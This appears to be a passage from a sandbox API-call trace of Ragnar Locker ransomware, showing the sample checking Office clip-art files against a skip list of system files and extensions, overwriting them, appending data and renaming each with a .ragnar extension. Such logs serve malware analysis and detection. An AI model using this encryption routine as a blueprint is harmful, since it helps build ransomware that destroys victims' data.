ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1361, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCTRN_01.MID", cAlternateFileName="")) returned 1 [0092.722] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.722] lstrcpyW (in: lpString1=0x1eb62e, lpString2="VCTRN_01.MID" | out: lpString1="VCTRN_01.MID") returned="VCTRN_01.MID" [0092.723] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned=".MID" [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="autorun.inf") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="boot.ini") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="bootfont.bin") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="bootsect.bak") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="bootmgr") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="bootmgr.efi") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="bootmgfw.efi") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="desktop.ini") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="iconcache.db") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="ntldr") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="ntuser.dat") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="ntuser.dat.log") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="ntuser.ini") returned 1 [0092.723] lstrcmpiW (lpString1="VCTRN_01.MID", lpString2="thumbs.db") returned 1 [0092.723] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0092.723] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0092.723] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0092.723] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0092.723] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0092.723] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0092.723] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0092.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x20 [0092.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.724] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4961) returned 1 [0092.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1358, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.724] GetProcessHeap () returned 0x580000 [0092.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.724] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.726] VirtualAlloc (lpAddress=0x0, dwSize=0x1361, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.726] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.726] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.726] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1361, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1361, lpOverlapped=0x0) returned 1 [0092.727] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.727] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1361, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.727] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1361, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1361, lpOverlapped=0x0) returned 1 [0092.727] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1361, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.727] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.727] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1361, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.727] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.728] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.728] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.728] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.728] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.728] GetProcessHeap () returned 0x580000 [0092.728] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.728] CloseHandle (hObject=0xf4) returned 1 [0092.728] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" [0092.728] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.ragnar_FD7BD9FC" [0092.728] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.729] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce1f900, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce1f900, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01219_.GIF", cAlternateFileName="")) returned 1 [0092.729] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.729] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01219_.GIF" | out: lpString1="WB01219_.GIF") returned="WB01219_.GIF" [0092.729] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF") returned=".GIF" [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="autorun.inf") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="boot.ini") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="bootfont.bin") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="bootsect.bak") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="bootmgr") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="bootmgr.efi") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="desktop.ini") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="iconcache.db") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="ntldr") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="ntuser.dat") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="ntuser.ini") returned 1 [0092.729] lstrcmpiW (lpString1="WB01219_.GIF", lpString2="thumbs.db") returned 1 [0092.729] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.729] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.729] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.729] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.729] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.729] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.729] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif")) returned 0x20 [0092.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.731] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=740) returned 1 [0092.731] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.731] GetProcessHeap () returned 0x580000 [0092.731] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.731] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.732] VirtualAlloc (lpAddress=0x0, dwSize=0x2e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.732] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.733] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.733] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2e4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2e4, lpOverlapped=0x0) returned 1 [0092.733] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.733] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.733] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2e4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2e4, lpOverlapped=0x0) returned 1 [0092.733] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.733] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.733] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.733] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.733] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.733] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.733] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.733] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.734] GetProcessHeap () returned 0x580000 [0092.734] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.734] CloseHandle (hObject=0xf4) returned 1 [0092.734] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" [0092.734] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.ragnar_FD7BD9FC" [0092.734] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.736] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f000, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f000, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01237_.GIF", cAlternateFileName="")) returned 1 [0092.736] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.736] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01237_.GIF" | out: lpString1="WB01237_.GIF") returned="WB01237_.GIF" [0092.736] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF") returned=".GIF" [0092.736] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.736] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="autorun.inf") returned 1 [0092.736] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="boot.ini") returned 1 [0092.736] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="bootfont.bin") returned 1 [0092.736] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="bootsect.bak") returned 1 [0092.736] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="bootmgr") returned 1 [0092.736] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="bootmgr.efi") returned 1 [0092.737] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.737] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="desktop.ini") returned 1 [0092.737] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="iconcache.db") returned 1 [0092.737] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="ntldr") returned 1 [0092.737] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="ntuser.dat") returned 1 [0092.737] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.737] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="ntuser.ini") returned 1 [0092.737] lstrcmpiW (lpString1="WB01237_.GIF", lpString2="thumbs.db") returned 1 [0092.737] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.737] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.737] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.737] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.737] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.737] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.737] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif")) returned 0x20 [0092.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.737] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=363) returned 1 [0092.737] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x162, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.738] GetProcessHeap () returned 0x580000 [0092.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.738] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.738] VirtualAlloc (lpAddress=0x0, dwSize=0x16b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.739] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.739] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.739] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16b, lpOverlapped=0x0) returned 1 [0092.739] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.739] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16b, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.739] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16b, lpOverlapped=0x0) returned 1 [0092.739] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.739] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.739] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.739] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.739] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.739] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.740] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.740] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.740] GetProcessHeap () returned 0x580000 [0092.740] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.740] CloseHandle (hObject=0xf4) returned 1 [0092.740] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" [0092.740] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.ragnar_FD7BD9FC" [0092.740] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.741] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe368b800, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe368b800, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x167, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01238_.GIF", cAlternateFileName="")) returned 1 [0092.741] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.741] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01238_.GIF" | out: lpString1="WB01238_.GIF") returned="WB01238_.GIF" [0092.741] PathFindExtensionW 